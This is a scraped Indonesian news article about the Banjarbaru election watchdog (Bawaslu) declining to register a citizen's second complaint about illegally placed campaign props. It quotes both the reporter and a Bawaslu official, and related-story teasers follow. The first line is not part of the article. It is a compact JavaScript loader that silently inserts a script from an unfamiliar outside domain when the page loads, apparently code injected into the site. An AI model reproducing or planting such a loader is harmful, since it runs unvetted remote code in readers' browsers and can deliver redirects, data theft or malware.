(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Banyak pelanggaran pemasangan alat peraga kampanye (APK) yang ditemukan di tengah kontestasi politik di Banjarbaru membuat masyarakat kecewa.
Dugaan pelanggaran itu sejatinya sudah dilaporkan kepada Badan Pengawas Pemilu (Bawaslu) Banjarbaru hingga dua kali.
Pertama pada tanggal 9 Januari 2024 ada 32 APK dilaporkan dan berhasil ditindak jajaran Bawaslu dan Satpol PP Banjarbaru. Kemudian menyusul di laporan pada tanggal 22 Januari 2024, dari 108 APK yang dipaporkan, 103 di antaranya dinyatakan tidak dapat diproses lagi.
Baca juga: Pemilih Disabilitas Netra Didampingi, ODGJ Harus Ada Surat dari RSJ
Sebagai perwakilan masyarakat, Jaya Hasiholan Limbong mengaku kecewa setelah upaya dia untuk melengkapi laporan kedua tidak bisa diproses oleh pihak Bawaslu Banjarbaru.
“Namun laporan kami yang ketiga ini atau gelombang kedua ini gagal dan dianggap Bawaslu Banjarbaru tidak bisa dilanjutkan, dengan alasan laporan tidak dilengkapi,” ujar sang pelapor kepada Kanalkalimantan.com.
Dia menjelaskan metode pengumpulan data alamat yang ia berikan bersumber data google maps sebagai titik lokasi untuk memanfaatkan fungsi dari teknologi di era sekarang.
Baca juga: Debat Kelima Capres 2024, Aksi Pamungkas Anies, Prabowo dan Ganjar Meraup Suara
Meski diakui Jaya, sebagai masyarakat awam, dirinya memang tidak tahu secara detail nama-nama jalan di Banjarbaru. Ternyata, sambung dia, alamat yang dimasukkan tersebut dianggap tidak sesuai dengan pemetaan titik pemasangan APK di Banjarbaru.
Kekecewaan pun bertambah, ketika dari hasil kesepakatan, ia mengatakan Komisioner Bawaslu berencana akan membantu menindaklanjuti laporan dengan alamat yang alamat yang beda persepsi tersebut.
“Belum ada rencana karena lagi kecewa, apalagi kemarin dijanjikan untuk dibantu supaya ditindaklanjuti, karena kami tidak diberikan patokan wilayahnya dan cuma ada waktu satu hari,” sebut dia.
Baca juga: Disdukcapil Kapuas Melepas PNS Purna Tugas
Sementara itu, Koordinator Divisi Penanganan Pelanggaran dan Penyelesaian Sengketa Bawaslu Banjarbaru, Hegar Wahyu Hidayat, saat dikonfirmasi memberikan penjelaskan mengapa laporan tidak lagi diproses.
“Kita telah minta perbaiki kepada pelapor terkait dengan lokusnya atau alamat dari APK-APK yang diduga melanggar ini, dan sampai batas waktu hari Senin ternyata pelapor tidak dapat memperbaiki itu, mau tidak mau kami tidak bisa melanjutkan meregistrasi,” ungkap Hegar Wahyu Hidayat, Rabu (31/1/2024) kemarin.
Dia menegaskan jika laporan tersebut tidak ditolak melainkan tidak dapat diregister. Sebab, sambungnya, laporan tersebut diproses secara resmi sesuai dengan mekanisme penanganan pelanggaran.
Baca juga: Kelistrikan Andal di Kaltimra saat Pergantian Tahun Baru
“Kita tangani sesuai mekanisme Perbawaslu 7 namanya, dan ketika syarat formil dan materiilnya tidak terpenuhi maka laporan tersebut tidak diregister,” ungkap dia.
Kendati demikian, disebutkannya bahwa sejak pelapor datang pertama kali, Bawaslu Banjarbaru telah berkoordinasi dengan jajaran Panwaslu Kecamatan untuk penindakan secara mandiri kepada partai politik (parpol).
“Namun secara substansi bahwa segala bentuk yang diduga melanggar dalam laporan tersebut sudah kita diskusikan di tingkat jajaran bawah,” sebut dia.
Baca juga: Aisyiyah HSU Mendorong Kaum Hawa Kawal Demokrasi
“Tindakannya berupa kita berikan saran perbaikan kepada yang melanggar untuk melepas APK-nya secara mandiri, apabila itu tidak dilakukan maka akan kita tertibkan bersama Satpol PP,” jelasnya menutup.
Adapun rata-rata dugaan pelanggaran ditemukan menempel di pohon, menempel dengan dipaku atau diikat di tiang listrik, hingga menemp fasilitas negara dan pendidikan. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
This website uses cookies.